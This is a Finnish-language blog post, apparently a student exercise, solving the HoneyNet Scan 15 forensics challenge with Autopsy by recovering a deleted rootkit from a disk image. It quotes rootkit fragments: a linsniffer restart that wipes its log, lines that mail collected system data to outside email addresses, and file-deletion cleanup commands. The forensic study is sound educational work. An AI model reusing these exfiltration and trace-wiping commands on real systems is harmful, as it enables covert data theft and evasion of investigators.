Rosvoja ja kunnon kansalaisia

Haittaohjelmalla saastuneen levykuvan tutkiminen

Tällä kertaa tutkimme saastunutta levykuvaa.

Tehtävänanto

h3. Ratkaise HoneyNet Scan of the Month 15. http://old.honeynet.org/scans/scan15/

Käsittele oikeita haittaohjelmia sisältävää kuvaa huolella, äläkä vie sitä tärkeille tuotantokoneille. Ratkaisut tehtävän selviävät levykuvasta, mitään ulkopuolisia järjestelmiä ei saa häiritä.

Raportoi, kuinka ratkaiset tehtävän.

Vastaa tehtävänannon kysymyksiin:
– “Show step by step how you identify and recover the deleted rootkit from the / partition.”
– What files make up the deleted rootkit?

Lisätehtävinä voit halutessasi vastata:
– “Bonus Question: Was the rootkit ever actually installed on the system? How do you know?”
– Mitä tekijään viittaavia tietoja levykuvasta löytyy?
– Selitä vaiheittain, miten rootkit toimii.

Toteutus

Ensin kävin lataamassa tehtävänannossa annetusta linkistä tuon tiedoston koneelle.

Harjoitus tehdään työasemalla, jolle on asennettu Xubuntu 14.04 LTS Desktop aikaisemmin. Olen jo aikaisemmin ajanut komentoja kuten sudo apt-get update, joten paketit ovat ajantasalla. Tietokoneen rauta on seuraavanlaista:
Emolevy: Asus M3N78 PRO
Prosessori: AMD Phenom 9859 Quad Core
Ram: 4GB DDR2 800MHz
Näytönohjain: Nvidia GeForce 8200
Kovalevy: WD 320G

En tiennyt suoraan miten tätä lähtisi lähestymään, joten lueskelin tuolta honeynetistä Forensic Challengea. Tämä nyt ei suoranaisesti avannut asiaa.

Menin komentokehotteella Downloads kansioon ja tein sinne uuden kansion komennolla mkdir saasta.  Siirsin ladatun tiedoston kyseiseen kansioon komennolla mv honeynet.tar.gz saasta/. Purin tiedoston komennolla tar -xf honeynet.tar.gz. Siirryin kansioon honeynet. Kansiossa honeypot.hda8.dd ja README tiedostot.

Tarvittavien ohjelmien asennus ja käyttöönotto

Tässä vaiheessa päätin asentaa ohjelman levykuvan tutkimiseen. Googlella löysin muiden töitä ja sleuthkit oli yleinen työkalu. Asennetaan komennolla: sudo apt-get install sleuthkit. apt-cache show sleuthkit kertoo kotisivun ja suunnistan sinne lisäohjeita hakemaan. He suosittelivat käyttämään autopsyä, joka antaa siis graafisen käyttöliittymän tälle ohjelmalle. sudo apt-get install autopsy asentaa autopsy:n koneelle ja ajan sen kirjoittamalla autopsy. Ohjelma kehottaa avaamaan selaimen osoitteeseen http://localhost:9999/autopsy. Otan vielä javascriptin pois päältä ennen avaamista. Sivu ei kuitenkaan auennut vaan sain unable to connect -herjan. Googletin tämän ja selvisi, että tämä ohjlema on ajettava sudona. Kirjoitin konsoliin sudo autopsy ja sen jälkeen toimi.

Screenshot - autopsy1

Autopsy etusivu

Valitsin ”New Case” ja kirjoitan nimen sekä kuvauksen tutkimukselle. Lopuksi painan new case.

Screenshot - autopsy2

Nyt Autopsy pyytää tarkempaa tietoa tapauksesta. Annan host name -kohtaan tietokoneen nimen ja jätän muut tyhjäksi ja painan add host. Sitten Autopsy pyytää imagea. Painan ”Add image file”. Seuraavassa ikkunassa pitää antaa polku tiedostoon. Muut asetukset pidin ennallaan ja valitsin Next.

Screenshot - autopsy3

Sitten tulee varoitus ettei volyymin tyyppiä saatu selville.

Varoitus

Varoitus

Menen takaisin tehtävänantoon ja huomaan, että edellisessä kohdassa olisi pitänyt valita partition. Painan Ok ja seuraavasta Cancel. Pääsen lisäämään levykuvan uudelleen ”Add Image File”. Tällä kertaa valitsen partition ja valitsen next. Nyt ei tullut herjaa.  Seuraavan kohdan ohitan oletuksilla ja sitten päästäänkin itse asiaan.

Screenshot - autopsy6

Tästä päätän kokeilla Analyze vaihtoehtoa ja seuraavasta valitse file analysis.

 

Levykuvan juuri

Levykuvan juuri

Piti siis etsiä poistettu rootkit. Nuo punaiset poistetut tiedotot tietysti herättävät epäilystä. Toinen on 0KB, mutta toinen tiedosto on suuri. Selaan kansioita läpi monen minuutin ajan etsien muita mielenkiinnon herättäjiä.

OrphanFiles

OrphanFiles kansio oli yksi kiinnostuksen kohde. Google vei minut Sleuthkitin Wiki sivulle ja sieltä selvisi, että kyseinen kansio sisältää poistettujen tiedostojen dataa, jota kovalevyllä ei ole vielä ylikirjoitettu. Täältähän voisi siis löytyä nuo oleelliset osat.

Järjestän nuo tiedostot ”Written” sarakkeen mukaan ja yksi tiedosto OrphanFile-2039
on päivätty lähes vuotta myöhemmin kuin muut tiedostot. Kyseisen tiedoston Accessed ja Changed päivämäärät ovat aikaisemmalta ajankohdalta kuin tämä written. Painan ASCII – Report nappia saadakseni tiedot suurempaan ikkunaan.  Selaan merkkimössöä alaspäin ja lopulta törmään luettavaan tekstiin. Tämä vaikuttaa ihan selvästi hämärältä.

Screenshot - autopsy8

Ihan kuin tämä olisi konsolin tekstiä tai lokia, yhteyksien avauksia, epäonnistuneita kirjautumisia sun muuta. Selaan alemmas ja silmäilen tekstiä. Seuraavaksi järjestän tiedostonäkymän tiedoston koon mukaan (Size) ja valitsen Report suurimmasta tiedostosta OrphanFile-2061. Tämä tiedosto oli sisällöltään vastaavanlainen. Selasin tiedostoja ja osuin yhteen, jonka sisältö on seuraava:

OrphanFile-2059

Contents Of File: /1/$OrphanFiles/OrphanFile-2059


killall -9 linsniffer
rm -rf tcp.log
touch tcp.log
./linsniffer >tcp.log &

Tässä voisi olla jälkiä haittaohjelman olemassa olosta. Linsniffer tutkii verkkoliikennettä. Sitten on poistettu tcp.log ettei jää jälkiä ja muokattu tcp.login päivämäärää touchilla.  Jatketaan tiedostojen kahlaamista..

Linsniffer

Linsniffer

OrphanFile-2047:sta löytyi taas maininta Linsnifferistä ja myöskin tekijän nimi sekä sähköpostiosoite. Tässä tiedostossa on Perl koodia eli tämän täytyy olla osa haittaohjelmasta. Pengotaan vielä loput tiedostot.

# Sorts the output from LinSniffer 0.03 [BETA] by Mike Edulla <medulla@infosoc.com>

OrphanFile-2043 on jälkien poistoon tarkoitettu scripti. Lopussa on saksankielellä ”kaikki on puhdistettu mestari” noin vapaasti käännettynä:

echo "${BLK}* ${DWHI}Alles sauber mein Meister !'Q%&@$! ${RES}"

OrphanFile-2041 oli myös scripti. Tämän lopussa on kaksi sähköpostiosoitetta lisää ja  espanjankielellä ” Cat!  … Wait please mail delivery” ja  ”I sent mail … delete files you no longer need.” Lopussa on vielä mainittu nuo tämän levyn juuressa olleet poistetut tiedostot ja niiden poistokomento. Tämän täytyy olla viimeinen osa.

echo "* Gata ! Trimitem Mailul ...Asteapta Te Rog "
cat computer | mail -s "placinte" last@linuxmail.org
cat computer | mail -s "roote" bidi_damm@yahoo.com
echo "* Am trimis mailul ... stergem fisierele care nu mai trebuie ."

rm -rf last lk.tgz computer lk.tar.gz

Vilkuilin vielä muihin kansioihin ja /etc kansion alla oli ”mtab” ja ”mtab.tmp” tiedostot poistettu hyökkäyksen aikaan. Lisäksi siellä oli uusi mtab tiedosto. Poistetun mtab tiedoston sisältö on poikkeava ja sisältää hälyyttäviä sanoja kuten linsniffer. Googletan mtab tiedoston tarkoituksen ja se listaa kaikki liitetyt tiedostojärjestelmät.

3 sl2
3 sshdu
3 linsniffer
3 smurf
3 slice
3 mech
3 muh
3 bnc
3 psybnc

Tämä on merkki siitä, että rootkit on ollut asennettuna. /etc/pam.d/ kansiosta löytyi vielä poistettu passwd tiedosto, jonka sisältö oli tosin sama kuin olemassa olevankin tiedoston.

Yhteenveto

Tarkasteltiin Autopsy -ohjelmalla levykuvaa ja eteenkin poistetut tiedostot olivat noita haittaohjelman käyttämiä. Haittaohjelma oli siis peittänyt jälkiään.

Yllä on listattu löydettyjä osia. Aika ei riittänyt tämän tutkimiseen pidempään, jotta oltaisi voitu saada selkeä kuva ohjelman toiminnasta ja sen sisältämistä tiedostoista.

Lisätehtävät:
Mielestäni Rootkit oli asennettuna, koska se oli ylipäätään mennyt niin pitkälle, että se oli poistanut itsensä. Eihän se olisi poistanut, jossei olisi asentunut, koska ei olisi poistettavaa. OrphanFiles-2039 ja 2061 Asciin seasta varmaan löytyisi vielä lisävahvistusta. Lisäksi /etc kansiossa oli yllä mainittu mtab tiedosto ja /etc/pam.d/ kansiossa poistettu passwd tiedosto.

Levykuvasta löytyi yhteensä 3 sähköpostiosoitetta, joista kahta käytettiin tietojen välittämiseen kaapatulta tietokoneelta murtautujalle.